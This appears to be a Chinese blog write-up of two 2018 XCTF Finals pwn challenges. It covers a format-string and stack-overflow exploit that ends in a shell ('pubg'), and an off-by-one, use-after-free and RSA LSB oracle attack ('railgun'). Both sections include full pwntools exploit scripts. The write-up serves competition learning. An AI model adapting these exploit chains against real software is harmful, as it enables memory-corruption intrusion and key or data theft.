2018-XCTF Finals

跟随航神、肖神等一众大神参加了2018 XCTF Finals
虽然最后成绩不太好(我就是唯一拖后腿那个),但跟着大佬们学到很多东西
而且第二天pwnhub线下沙龙抽中了华为P20(happy&&会上干货满满,感受到大佬们的强大)
感谢几位学长带飞,这里整理一下几个题目,因为是Finals,写的比较详(zhi)细(zhang)

0x01 pubg

分析

首先可以看到存在格式化字符串漏洞:

1
2
3
4
5
6
7
8
9
for ( j = 0; j <= 3; ++j )
{
if ( s[j] != buf[j] )
{
printf(s); // 格式化字符串
puts(" has no airdrop");
return __readfsqword(0x28u) ^ v4;
}
}

不过:

1
2
3
4
5
6
7
8
for ( i = 0; i <= 2; ++i )
{
if ( strstr(s, (const char *)*(&off_564C5C3D70B0 + i)) )
{
puts("error!");
exit(-1);
}
}

其对输入进行了过滤:

1
2
3
4
5
.rodata:0000564C5C1D57A6 unk_564C5C1D57A6 db  24h ; $            ; DATA XREF: .data:off_564C5C3D70B0↓o
.rodata:0000564C5C1D57A7 db 0
.rodata:0000564C5C1D57A8 unk_564C5C1D57A8 db 6Eh ; n ; DATA XREF: .data:0000564C5C3D70B8↓o
.rodata:0000564C5C1D57A9 db 0
.rodata:0000564C5C1D57AA unk_564C5C1D57AA db 2Ah ; *

输入的字符串不能包含”$”/“n”/“*“
这里patch的时后改printf为puts不能过check
最后我将”*“改为”%”,过滤掉”%”
不过有一支队伍一直可以打过来,猜测是一直连着我们的shell,没有断开
最后在流量中果然只有一句”cat flag”,orz

这里可以利用”%x%x%x%p”来leak libc
同时第二个%x会leak edx的值:

1
2
3
4
5
6
7
8
9
10
11
.text:000055FCB7F095D2 movzx   ecx, [rbp+rax+s]
.text:000055FCB7F095D7 mov eax, [rbp+var_24]
.text:000055FCB7F095DA movsxd rdx, eax
.text:000055FCB7F095DD lea rax, buf
.text:000055FCB7F095E4 movzx eax, byte ptr [rdx+rax]
.text:000055FCB7F095E8 cmp cl, al
.text:000055FCB7F095EA jz short loc_55FCB7F0960B
.text:000055FCB7F095EC lea rax, [rbp+s]
.text:000055FCB7F095F0 mov rdi, rax ; format
.text:000055FCB7F095F3 mov eax, 0
.text:000055FCB7F095F8 call printf

可以看到:

1
edx->eax->rbp+var_24->当前循环j值->已经猜对的位数

因此利用第二个数可以很快爆破出三位password(第四位恒为”\x00”)
继续往下可以看到栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 fight()
{
__int16 v1; // [rsp+4h] [rbp-Ch]
__int16 v2; // [rsp+6h] [rbp-Ah]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
v2 = 0;
v1 = 0x20;
puts("the robot has ghillie suit, so you can only see it once");
while ( *(_DWORD *)(98k + 20) > 0 && *((_DWORD *)my_gun + 5) > 0 )
{
*((_DWORD *)my_gun + 5) -= *(_DWORD *)(98k + 16);
if ( v2 == 1 )
*(_DWORD *)(98k + 20) -= *((_DWORD *)my_gun + 4);
++v2;
}
if ( *((_DWORD *)my_gun + 5) <= 0 )
{
puts("You're killed by 98K");
}
else
{
puts("Winner winner,chicken dinner. The whole memory is yours, now pick one chicken:");
leak_any(&v1);
}
return __readfsqword(0x28u) ^ v3;
}

可以看到当fight成功时会调用leak_any(&v1)
这里注意:

1
2
__int16 v1; // [rsp+4h] [rbp-Ch]
__int16 v2; // [rsp+6h] [rbp-Ah]

而在leak_any中:

1
2
3
4
5
6
7
8
9
unsigned __int64 __fastcall leak_any(_DWORD *a1)
{
__int64 v1; // ST18_8

LODWORD(read_size) = *a1;
v1 = get_num_();
printf("The %s chicken is on your plate, enjoy it~\n", v1);
return get_flag();
}

会将传入的参数视为DWORD*
所以,当传入参数时fight的v2不为0, LODWORD(read_size) = *a1;则会将read_size设置为一个很大的数,而在get_flag中:

1
2
3
4
5
6
7
8
9
10
unsigned __int64 get_flag()
{
char s; // [rsp+0h] [rbp-30h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(&s, 0, 0x20uLL);
read_note((__int64)&s, read_size);
return __readfsqword(0x28u) ^ v2;
}

可以看到会 read_note((__int64)&s, read_size),当read_size非常大时便会栈溢出(s的缓冲区长度->0x30-0x8=0x28)
故而:

1
2
1  需要fight成功(至少调用过fight的while循环,此时v2一定不为0)->栈溢出
2 栈溢出需要leak canary

根据程序流fight成功只需要拿到AWM即可(爆破3位password)
leak canary:
首先想到使用libc地址leak _environ,然后找到栈中一个cannary的地址来leak canary,不过因为格式化字符串的长度限制,以及只有一次任意地址读,没办法实现,只能从能用leak libc后直接一步确定的地址来leak canary
这里不太明白这个地址处为何存在canary,准备研究一下canary的具体底层原理:
动态调试中,我在leak libc的那个地址(即格式化字符串中利用r8寄存器%p得到的地址)周围搜索canary,找到偏移0x28处即存在canary,然后在fight成功后有一次任意地址读取即可leak 0x29偏移处(canary最低位为”\x00”,故而leak 0x28+1位置)的%s,即可得到canary

leak canary后,正常的栈溢出,覆盖返回地址为one_gadget,同时用”\x00”填充栈来满足one_gadget条件即可:

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

def leak_libc():
p.recvuntil("> ")
p.sendline("2")
p.recvuntil(":\n")
p.sendline("%x%x%x%p")
p.recv(5)
return int(p.recvuntil("\n").strip(),16)

def get_pass():
ans=""
for i in range(3):
for j in range(1,256):
payload=ans+chr(j)+"%x%x"
payload=payload.replace("$"," ").replace("n"," ").replace("*"," ")
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("\n")
p.sendline(payload)
p.recvuntil("2a")
k=p.recv(1)
if k==str(i+1):
ans+=chr(j)
break
p.recvuntil("> ")
p.sendline("2")
p.recvuntil(":\n")
p.sendline(ans+"\x00")

#context.log_level='debug'
p=process("./pubg")

#leak libc
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("> ")
p.sendline("1")
libc_addr=leak_libc()-0x5cf700
print "libc:{}".format(hex(libc_addr))

#get AWM
get_pass()

#leak canary
canary_addr=libc_addr+0x5cf700+0x29
p.recvuntil("> ")
p.sendline("1")
p.recvuntil(":\n")
p.sendline(str(canary_addr))
p.recvuntil("The ")
canary="\x00"+p.recv(7)
print "canary:{}".format(hex(u64(canary)))

#get shell
p.recvuntil("~\n")
payload="a"*0x28+canary+"a"*8+p64(libc_addr+0x4526a)+"\x00"*0x40
p.sendline(payload)
p.interactive()

0x02 railgun

比赛时候飞神第一天晚上秒的题(膜启飞学长),照着exp复现一下:

main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed __int64 v3; // rsi
int v4; // eax
signed int i; // [rsp+4h] [rbp-1Ch]
signed int j; // [rsp+4h] [rbp-1Ch]
signed int v8; // [rsp+8h] [rbp-18h]
int v9; // [rsp+Ch] [rbp-14h]
int v10; // [rsp+Ch] [rbp-14h]
char nptr[5]; // [rsp+13h] [rbp-Dh]
unsigned __int64 v12; // [rsp+18h] [rbp-8h]
__int64 savedregs; // [rsp+20h] [rbp+0h]

v12 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
v3 = 0LL;
setvbuf(stderr, 0LL, 2, 0LL);
info1();
sha256__0();
flag_enc();
while ( 2 )
{
v8 = menu();
switch ( (unsigned int)&savedregs )
{
case 1u:
puts("[+]modify player information");
printf("[-]description:", v3);
v4 = read_nSize((__int64)description_addr, 255);
*((_BYTE *)description_addr + v4) = 0;
printf("[-]name:", 255LL);
v3 = 32LL;
*((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 32)) = 0;
continue;
case 2u:
puts("[+]mining coins");
if ( (unsigned __int8)sha256_() )
{
v3 = (unsigned __int8)++coin_num;
printf("[+]success! coinnumber:%d\n", (unsigned __int8)coin_num);
}
continue;
case 3u:
puts("[+]game status");
printf("[+]name:%s\n", &name_addr);
printf("[+]description:%s\n", description_addr);
v3 = (unsigned __int8)coin_num;
printf("[+]coin:%d\n", (unsigned __int8)coin_num);
for ( i = 0; i <= 9; ++i )
{
v3 = (unsigned int)i;
printf("[+]boss_%d level%d ", (unsigned int)i, *(unsigned __int8 *)(*(&name_addr + i + 4LL) + 16LL));
if ( *(_BYTE *)(*(&name_addr + i + 4LL) + 17LL) )
puts("alive");
else
puts("dead");
}
printf("[+]pub:");
put_str(rsa_n);
continue;
case 4u:
puts("[+]index attack");
printf("[+]", v3);
put_str(rsa_addr);
continue;
case 5u:
puts("[+]bilibili railgun");
if ( coin_num )
{
--coin_num;
printf("[-]chose a boss:", v3);
v3 = 4LL;
nptr[(signed int)read_nSize((__int64)nptr, 4)] = 0;
v9 = atoi(nptr);
if ( v9 < 0 || v9 > 9 )
{
puts("[+]bad choice");
return 0LL;
}
sub_5633C0D860EF(v9);
}
else
{
puts("[+]no much more coins");
}
continue;
case 6u:
puts("[+]accelerator attack");
if ( (unsigned __int8)coin_num <= 0xC7u || dword_5633C0F880F0 != 10 )
{
puts("[+]no much more coins or boss_9 is deleted already");
}
else
{
coin_num += 56;
free(ptr);
dword_5633C0F880F0 = 9;
puts("[+]delete boss_9");
}
continue;
case 7u:
puts("[+]comment for railgun");
if ( comment_addr )
{
v3 = (signed __int64)comment_addr;
printf("[+]%s\n", comment_addr);
}
printf("[-]comment lenth:", v3);
nptr[(signed int)read_nSize((__int64)nptr, 4)] = 0;
v10 = atoi(nptr);
if ( v10 > 0 && v8 <= 256 )
{
comment_addr = malloc(v10);
printf("[-]comment:", 4LL);
v3 = (unsigned int)(v10 - 1);
*((_BYTE *)comment_addr + (signed int)read_nSize((__int64)comment_addr, v3)) = 0;
continue;
}
puts("[+]bad comment");
return 0LL;
case 8u:
puts("[+]check");
printf("[+]", v3);
put_str(qword_5633C0F882E0);
continue;
case 9u: // exit
puts("[+]bye~");
for ( j = 0; j <= 9; ++j )
free((void *)*(&name_addr + j + 4LL));
free(description_addr);
if ( comment_addr )
free(comment_addr);
BN_free(rsa_p);
BN_free(rsa_q);
BN_free(rsa_n);
BN_free(rsa_e);
BN_free(rsa_d);
BN_free(qword_5633C0F882D0);
BN_free(qword_5633C0F882D8);
BN_free(qword_5633C0F882E0);
BN_free(rsa_addr);
return 0LL;
default:
puts("[+]wrong choice");
return 0LL;
}
}
}
1
2
3
4
5
6
7
8
9
10
[+menu+]
[+]1.modify
[+]2.mining
[+]3.status
[+]4.index
[+]5.railgun
[+]6.accelerator
[+]7.comment
[+]8.check
[+]9.exit

sha256:

程序开始的检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("[+]create random for pow error");
exit(0);
}
if ( read(fd, &buf, 6uLL) != 6 )
exit(-1);
close(fd);
SHA256(&buf, 6LL, &v9);
printf("[+]PoW", 6LL);
putchar(58);
sub_5633C0D8520A((__int64)&v9, 32);
putchar(43);
put_hex_str((__int64)&buf, 4u);
printf("[-]PaD:", 4LL);
str2hex((char *)&v2, (__int64)&v7, 2);
*((_BYTE *)&v4 + (signed int)read_nSize((__int64)&v4, 5)) = 0;
if ( (unsigned __int8)v4 != (char)v2
|| BYTE1(v4) != SBYTE1(v2)
|| BYTE2(v4) != SBYTE2(v2)
|| HIBYTE(v4) != SHIBYTE(v2) )
{
puts("[+]bad PoW");
exit(0);
}
return __readfsqword(0x28u) ^ v14;

流程与mining coins时相同:

1
2
3
首先随机生成 6 bytes password
而后程序输出sha256(password)+password[:4]
要求我们破解password的后2 bytes(16进制形式输入)

flag_enc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
unsigned __int64 flag_enc()
{
void *v0; // rax
int v1; // eax
__int64 v2; // rdi
__int64 v3; // rsi
__int64 v4; // rdi
__int64 v5; // rsi
__int64 v6; // rdi
__int64 v7; // rdi
size_t v8; // rax
char *v9; // rdi
signed int i; // [rsp+Ch] [rbp-264h]
unsigned int fd; // [rsp+14h] [rbp-25Ch]
int fda; // [rsp+14h] [rbp-25Ch]
__int64 v14; // [rsp+18h] [rbp-258h]
__int64 v15; // [rsp+20h] [rbp-250h]
__int64 v16; // [rsp+28h] [rbp-248h]
__int64 v17; // [rsp+30h] [rbp-240h]
__int64 v18; // [rsp+38h] [rbp-238h]
__int64 v19; // [rsp+40h] [rbp-230h]
__int64 v20; // [rsp+48h] [rbp-228h]
__int64 v21; // [rsp+50h] [rbp-220h]
__int64 v22; // [rsp+58h] [rbp-218h]
char *s; // [rsp+60h] [rbp-210h]
__int64 v24; // [rsp+68h] [rbp-208h]
char src; // [rsp+70h] [rbp-200h]
char v26; // [rsp+90h] [rbp-1E0h]
char v27; // [rsp+A0h] [rbp-1D0h]
char v28; // [rsp+C0h] [rbp-1B0h]
char dest[408]; // [rsp+D0h] [rbp-1A0h]
unsigned __int64 v30; // [rsp+268h] [rbp-8h]

v30 = __readfsqword(0x28u);
coin_num = 0;
dword_5633C0F880F0 = 10;
printf("[-]description:");
v0 = malloc(0x100uLL);
description_addr = v0;
v1 = read_nSize((__int64)v0, 255);
*((_BYTE *)description_addr + v1) = 0;
printf("[-]name:", 255LL);
*((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 31)) = 0;
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("[+]create random for aeskey error");
exit(0);
}
for ( i = 0; i <= 9; ++i ) // aeskey
{
*(&name_addr + i + 4LL) = malloc(0x12uLL);
read(fd, (void *)*(&name_addr + i + 4LL), 0x10uLL);
*(_BYTE *)(*(&name_addr + i + 4LL) + 16LL) = 5;
*(_BYTE *)(*(&name_addr + i + 4LL) + 17LL) = 1;
}
close(fd);
rsa_p = BN_new(fd);
rsa_q = BN_new(fd);
rsa_n = BN_new(fd);
rsa_e = BN_new(fd);
rsa_d = BN_new(fd);
BN_generate_prime(rsa_p, 512LL, 1LL, 0LL, 0LL, 0LL, 0LL);
v2 = rsa_q;
BN_generate_prime(rsa_q, 512LL, 1LL, 0LL, 0LL, 0LL, 0LL);
v16 = BN_CTX_new(v2, 512LL);
BN_mul(rsa_n, rsa_p, rsa_q, v16);
BN_CTX_free(v16);
BN_hex2bn((__int64)&rsa_e, (__int64)"10001");
v17 = BN_new(&rsa_e);
v18 = BN_new(&rsa_e);
v19 = BN_new(&rsa_e);
v14 = BN_new(&rsa_e);
BN_hex2bn((__int64)&v14, (__int64)&off_5633C0D86D80);
BN_sub(v17, rsa_p, v14);
v3 = rsa_q;
v4 = v18;
BN_sub(v18, rsa_q, v14);
v20 = BN_CTX_new(v4, v3);
v5 = v17;
BN_mul(v19, v17, v18, v20);
v6 = v20;
BN_CTX_free(v20);
v21 = BN_CTX_new(v6, v5);
BN_mod_inverse(rsa_d, rsa_e, v19, v21);
BN_CTX_free(v21);
BN_free(v17);
BN_free(v18);
BN_free(v19);
v7 = v14;
BN_free(v14);
qword_5633C0F882D8 = BN_new(v7);
BN_hex2bn(
(__int64)&qword_5633C0F882D8,
(__int64)"9907cf1eb4a9c25417fb7418e8bc70098ee6d1b4c65e227d7dbc2071a812126182a02a2ae74d89ae1fea27949414ca99c01f241141b"
"db6a25ebcb9ab320952dbd200f7504f543ff18e9548841f21eca3dec535cbc4e8bd6ac547a52be99bc19e3653a643789c11006b15fe"
"8cd9b741808f9b6185f2e0efb025a51513fd6eb0df012f6c654a4b71e7f9890ef6edc7986ecf5715e7a903c0aa96367102ce25abec8"
"1f1a5c5a66a244edf0d7d382bf5facf842fabcd8a8b9852976c1c6bec4c889768b5d31f435b5124881c60b0a99696b8243ae759df71"
"86cd512e0e5fcda0e55abd6150399df8047bc45bb72c5e43e8d77473070c15c7d9472516501791e53a7d");
fda = open("/flag", 0);
if ( fda == -1 )
{
puts("[+]flag location error");
exit(0);
}
read(fda, &flag_str, 0x40uLL);
close(fda);
sub_5633C0D85356(&flag_str, 64, (char *)&unk_5633C0F88180, 72);
str2hex((char *)&unk_5633C0F88200, (__int64)&unk_5633C0F88180, 72);
rsa_addr = BN_new(&unk_5633C0F88200);
v15 = BN_new(&unk_5633C0F88200);
BN_hex2bn((__int64)&v15, (__int64)&unk_5633C0F88200);
v22 = BN_CTX_new(&v15, &unk_5633C0F88200);
BN_mod_exp(rsa_addr, v15, rsa_e, rsa_n, v22);
BN_CTX_free(v22);
BN_free(v15);
s = (char *)BN_bn2hex(rsa_d);
v26 = 0;
v28 = 0;
str2hex(&src, aes_key, 16);
str2hex(&v27, (__int64)ptr, 16);
memcpy(dest, &src, 0x20uLL);
memcpy(&dest[32], &v27, 0x20uLL);
v8 = strlen(s);
memcpy(&dest[64], s, v8);
v9 = s;
dest[strlen(s) + 64] = 0;
qword_5633C0F882D0 = BN_new(v9);
qword_5633C0F882E0 = BN_new(v9);
BN_hex2bn((__int64)&qword_5633C0F882D0, (__int64)dest);
v24 = BN_CTX_new(&qword_5633C0F882D0, dest);
BN_mod_exp(qword_5633C0F882E0, qword_5633C0F882D0, rsa_e, qword_5633C0F882D8, v24);
BN_CTX_free(v24);
return __readfsqword(0x28u) ^ v30;
}

主要是生成10组随机密钥(ptr处为最后一组):

1
2
3
4
5
6
7
8
9
10
11
12
13
.bss:00005633C0F88080 name_addr       dq 4 dup(?)             ; DATA XREF: flag_enc+92↑o
.bss:00005633C0F88080 ; flag_enc+AD↑o ...
.bss:00005633C0F880A0 aes_key dq ? ; DATA XREF: flag_enc+561↑r
.bss:00005633C0F880A8 dq ?
.bss:00005633C0F880B0 dq ?
.bss:00005633C0F880B8 dq ?
.bss:00005633C0F880C0 dq ?
.bss:00005633C0F880C8 dq ?
.bss:00005633C0F880D0 dq ?
.bss:00005633C0F880D8 dq ?
.bss:00005633C0F880E0 dq ?
.bss:00005633C0F880E8 ; void *ptr
.bss:00005633C0F880E8 ptr dq ? ; DATA XREF: flag_enc+582↑r

而后读取64位flag进行rsa加密:

1
2
BN_mod_exp(rsa_addr, v15, rsa_e, rsa_n, v22);
*rsa_addr=pow(flag+padding,e,n)//rsa_encode

程序流程

1
2
3
4
5
6
7
主要流程:
使用mining来获得coin
消耗coin来kill boss
kill boss后,每一个boss对应一个AES key
而后接收一次输入,返回AES_encode(pow(input,rsa_d,rsa_n)&0xF)//AES_encode(rsa_decode)
这里注意BN_bn2hex返回的字符串为BIG-ENDIAN格式:
即0x123456 -> 存储为 "\x12\x34\x56"

kill后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
printf("[-]send:");
v17[(signed int)read_nSize((__int64)v17, 2049)] = 0;
v6 = BN_new(v17);
v7 = BN_new(v17);
BN_hex2bn((__int64)&v6, (__int64)v17);
v8 = BN_CTX_new(&v6, v17);
BN_mod_exp(v7, v6, rsa_d, rsa_n, v8);
BN_CTX_free(v8);
v1 = (char *)BN_bn2hex(v7);
s = v1;
v2 = strlen(v1);
v11 = s[v2 - 1];
v12 = 'b';
v13 = 'b';
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("[+]urandom open error");
exit(0);
}
read(fd, v14, 0xDuLL);
v15 = 0;
close(fd);
memset(&v16, 0, 0x21uLL);
AES_enc(&v11, *(&name_addr + (signed int)a1 + 4LL), (__int64)&v16);
printf("[-]use coins(1/0):");
nptr[(signed int)read_nSize((__int64)nptr, 4)] = 0;
v5 = atoi(nptr);
if ( v5 != 1 && v5 )
{
puts("[+]bad choice");
exit(0);
}
if ( v5 == 1 )
{
--coin_num;
printf("[+]pickup:", 4LL);
put_hex_str((__int64)&v16, 0x10u);
}
else
{
printf("[+]kill boss_%d\n", a1);
}
*(_BYTE *)(*(&name_addr + (signed int)a1 + 4LL) + 17LL) = 0;
BN_free(v6);
BN_free(v7);
return __readfsqword(0x28u) ^ v18;

漏洞

off by one

关注两次name输入过程:
初始时:

1
2
3
4
5
6
v0 = malloc(0x100uLL);
description_addr = v0;
v1 = read_nSize((__int64)v0, 255);
*((_BYTE *)description_addr + v1) = 0;
printf("[-]name:", 255LL);
*((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 31)) = 0;

modify:

1
2
3
4
5
6
7
8
9
case 1u:
puts("[+]modify player information");
printf("[-]description:", v3);
v4 = read_nSize((__int64)description_addr, 255);
*((_BYTE *)description_addr + v4) = 0;
printf("[-]name:", 255LL);
v3 = 32LL;
*((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 32)) = 0;
continue;

可以看到:

1
2
*((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 31)) = 0;
*((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 32)) = 0;

存在off by one
可以覆盖第一个aes key地址的低字节为\x00
而调试可以看到覆盖为\x00后,此aes key会落在description中
由此第一个aes key可控

UAF:
1
2
3
4
5
6
7
8
9
10
11
12
13
case 6u:
puts("[+]accelerator attack");
if ( (unsigned __int8)coin_num <= 0xC7u || dword_5633C0F880F0 != 10 )
{
puts("[+]no much more coins or boss_9 is deleted already");
}
else
{
coin_num += 56;
free(ptr);
dword_5633C0F880F0 = 9;
puts("[+]delete boss_9");
}

可以看到以accelerator attack来delete boss 9后会free(ptr),但没有置空指针,存在UAF
而后可以利用comment:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
case 7u:
puts("[+]comment for railgun");
if ( comment_addr )
{
v3 = (signed __int64)comment_addr;
printf("[+]%s\n", comment_addr);
}
printf("[-]comment lenth:", v3);
nptr[(signed int)read_nSize((__int64)nptr, 4)] = 0;
v10 = atoi(nptr);
if ( v10 > 0 && v8 <= 256 )
{
comment_addr = malloc(v10);
printf("[-]comment:", 4LL);
v3 = (unsigned int)(v10 - 1);
*((_BYTE *)comment_addr + (signed int)read_nSize((__int64)comment_addr, v3)) = 0;
continue;
}
puts("[+]bad comment");
return 0LL;

利用 comment_addr = malloc(v10)分配comment到已free的ptr的地方并覆盖,这样boss 9对应的aes key便会可控

AES

由uaf或者off by one可以控制第一和第十个aes key,之后依然可以kill boss 0/9,此时kill后因为aes密钥已知,返回AES_encode(pow(input,rsa_d,rsa_n))即可知pow(input,rsa_d,rsa_n)&0xF

int_overflow

看到kill boss后:

1
2
3
4
5
6
if ( v5 == 1 )
{
--coin_num;
printf("[+]pickup:", 4LL);
put_hex_str((__int64)&v16, 0x10u);
}

当coin_num为1时kill boss
而后再使用一个coin,此处没有检测coin_num而直接–coin_num;
便会造成整形溢出为0xFF(255)
这样会省去mining coins的时间

RSA LSB Oracle Attack:

由上可知,程序可以不断获得pow(input,rsa_d,rsa_n)&0xF
那么就可以使用类似RSA LSB Oracle Attack从低位每次得到4 bits,最终拼接为flag+padding而获得flag
其中rsa明文可用index attack得到:

1
2
3
4
5
case 4u:
puts("[+]index attack");
printf("[+]", v3);
put_str(rsa_addr);
continue;

rsa_e已知
rsa_n可用3输出status时得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
case 3u:
puts("[+]game status");
printf("[+]name:%s\n", &name_addr);
printf("[+]description:%s\n", description_addr);
v3 = (unsigned __int8)coin_num;
printf("[+]coin:%d\n", (unsigned __int8)coin_num);
for ( i = 0; i <= 9; ++i )
{
v3 = (unsigned int)i;
printf("[+]boss_%d level%d ", (unsigned int)i, *(unsigned __int8 *)(*(&name_addr + i + 4LL) + 16LL));
if ( *(_BYTE *)(*(&name_addr + i + 4LL) + 17LL) )
puts("alive");
else
puts("dead");
}
printf("[+]pub:");
put_str(rsa_n);

即:

1
2
3
4
5
6
7
8
9
10
m=a*16^x+b(a未知,b已知)
y=16^(-x)mod n
Y=y^e mod n
input=rsa_c*Y=(m*y)^e mod n
pow(input,rsa_d,n)=m*y=((a+b*16^(-x))mod n)&0xF //rsa_decode
b*16^(-x))mod n已知->可得a&0xF
其实不是&0xF,而是最后一个不是\x00的位的最低4bits:
v2 = strlen(v1);
v11 = s[v2 - 1];
或者输入rsa_c*16^(xe),最后返回为

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.number import *
import libnum
from pwn import *

def get_pass_sha256():
p.recvuntil(":")
sha256_encode=p.recvuntil("+")[:-1]
rand_4bytes=p.recvuntil("\n").strip().decode("hex")
ans=rand_4bytes
for i in range(0,256):
for j in range(0,256):
final=ans+chr(i)+chr(j)
if sha256(final).hexdigest()==sha256_encode:
p.recvuntil("PaD:")
p.sendline(final[-2:].encode("hex"))

def oracle_dec(cipher_rsa):
p.sendlineafter("[-]","5")
p.sendlineafter("[-]chose a boss:","0")
p.sendlineafter("[-]send:",cipher_rsa)
p.sendlineafter("[-]use coins(1/0):","1")
enc = p.recvuntil("\n").split("[+]pickup:")[1].split("\n")[0]
return encryption_suite.decrypt(enc.decode("hex"))

#context.log_level="debug"
p=process("./railgun")
encryption_suite = AES.new('a'*16, AES.MODE_ECB)

#first sha256
get_pass_sha256()

p.sendlineafter("[-]description:","a"*255)
p.sendlineafter("[-]name:","a"*31)

#off by one
p.sendlineafter("[-]","1")
p.sendlineafter("[-]description:","a"*255)
p.sendlineafter("[-]name:","0"*32)

#get rsa_c
p.sendlineafter("[-]","4")
p.recvuntil("[+]index attack\n[+]")
cipher_rsa = p.recvuntil("\n").split("\n")[0]

#get rsa_n
p.sendlineafter("[-]","3")
p.recvuntil("[+]pub:")
n = int(p.recvuntil("\n").split("\n")[0],16)

#overflow->make coin_num 0xFF
p.sendlineafter("[-]","2")
get_pass_sha256()

#RSA LSB Oracle Attack
invmod_n = libnum.invmod(16,n)
flag = int(cipher_rsa,16)
final_flag,Y,e=0,1,0x10001
for bit in range(200):
leak_M = oracle_dec(hex(flag*Y)[2:].upper())[0]
leak_m = (int(leak_M, 16)+16-((final_flag*pow(invmod_n,bit,n))%n%16))%16
final_flag += (leak_m*(16**bit))
y = pow(invmod_n, bit+1, n)
Y = pow(y, e, n)
print libnum.n2s(final_flag)[:64]

剩下的还有几个题目,队里其他大神做的,等到有时间再整理